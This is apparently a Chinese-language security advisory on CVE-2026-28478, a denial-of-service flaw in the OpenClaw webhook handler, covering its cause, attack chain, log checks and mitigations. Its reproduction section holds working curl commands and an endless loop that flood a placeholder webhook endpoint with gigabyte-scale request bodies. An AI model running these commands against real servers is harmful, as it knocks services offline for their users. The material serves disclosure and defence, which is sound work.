当前位置：首页 > news >正文

CVE-2026-28478

news 2026/5/12 17:30:55

基本信息

属性	内容
漏洞名称	OpenClaw Webhook Denial of Service
CVE编号	CVE-2026-28478
漏洞类型	拒绝服务 (CWE-400)
危害等级	中高危
披露日期	2026-02-13
受影响版本	< 2026.2.13
修复版本	2026.2.13

漏洞描述

产品简介： OpenClaw 是一款面向 AI 智能体的安全执行网关和编排框架，支持通过 Webhook 接收外部事件通知和触发器。

漏洞成因与影响： OpenClaw 的 Webhook 处理器在缓冲请求体（request body）时未设置严格的大小限制或控制机制。攻击者可发送超大体积的请求体，消耗服务器内存和资源，导致拒绝服务（DoS）。成功利用该漏洞可导致 OpenClaw 服务不可用，影响正常业务运行。

修复方案

官方公告

NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-28478

版本升级

升级至 OpenClaw 2026.2.13 或更高版本。

漏洞分析

攻击路径： 远程（通过 HTTP 请求）

适用操作系统： 跨平台

是否需要出网： 否

漏洞位置： Webhook 处理模块（请求体缓冲逻辑）

根本原因： OpenClaw 的 Webhook 处理器在接收 HTTP 请求时，将整个请求体缓冲到内存中，未设置最大大小限制。攻击者可发送超大请求体（如 GB 级别），导致服务器内存耗尽、响应缓慢或崩溃。

攻击向量

发送超大 JSON payload
上传超大文件到 webhook 端点
持续发送大量数据流

攻击链

1. 攻击者识别 OpenClaw webhook 端点2. 构造超大请求体（如 1GB+ 数据）3. 发送请求到 webhook 端点4. OpenClaw 服务器缓冲整个请求体5. 内存消耗过大 → 服务不可用6. 正常用户无法访问 OpenClaw

漏洞复现

环境准备

目标版本： OpenClaw < 2026.2.13

复现步骤

STEP 1: 确认版本

openclaw --version

STEP 2: 发送超大请求体

# 生成 1GB 随机数据
dd if=/dev/zero bs=1M count=1024 | base64 > /tmp/large_payload.json# 发送到 webhook 端点
curl -X POST "http://openclaw.example.com/webhook" \-H "Content-Type: application/json" \--data-binary @/tmp/large_payload.json

或使用脚本持续发送：

# 持续发送大量数据
while true; docurl -X POST "http://openclaw.example.com/webhook" \-H "Content-Type: application/json" \-d "$(python3 -c 'print("{\"data\":\"" + "A"*10000000 + "\"}')")"
done

STEP 3: 观察 DoS 效果

监控服务器内存和服务响应：

# 监控内存使用
watch -n 1 'free -h'# 测试服务响应
curl -I http://openclaw.example.com/health

攻击调查

日志检查

# 检查 webhook 日志
grep -i "webhook\|request.*size\|body.*length" /var/log/openclaw/*.log# 检查内存相关错误
grep -i "out.*memory\|oom\|memory.*exceed" /var/log/openclaw/*.log

系统指标

检查内存使用历史
检查服务响应时间
检查是否有服务重启记录

自检方法

版本检查

openclaw --version
# 确认版本 >= 2026.2.13

配置检查

确认 webhook 请求体大小限制：

{"webhook": {"maxBodySize": "10mb"}
}

临时缓解措施

反向代理限制： 在 Nginx/Apache 层面限制请求体大小：
```
# Nginx 配置
client_max_body_size 10m;
```
WAF 规则： 部署 WAF 规则拦截超大请求。
资源限制： 使用 cgroups 或容器限制 OpenClaw 进程的内存使用。
速率限制： 实施 webhook 请求速率限制。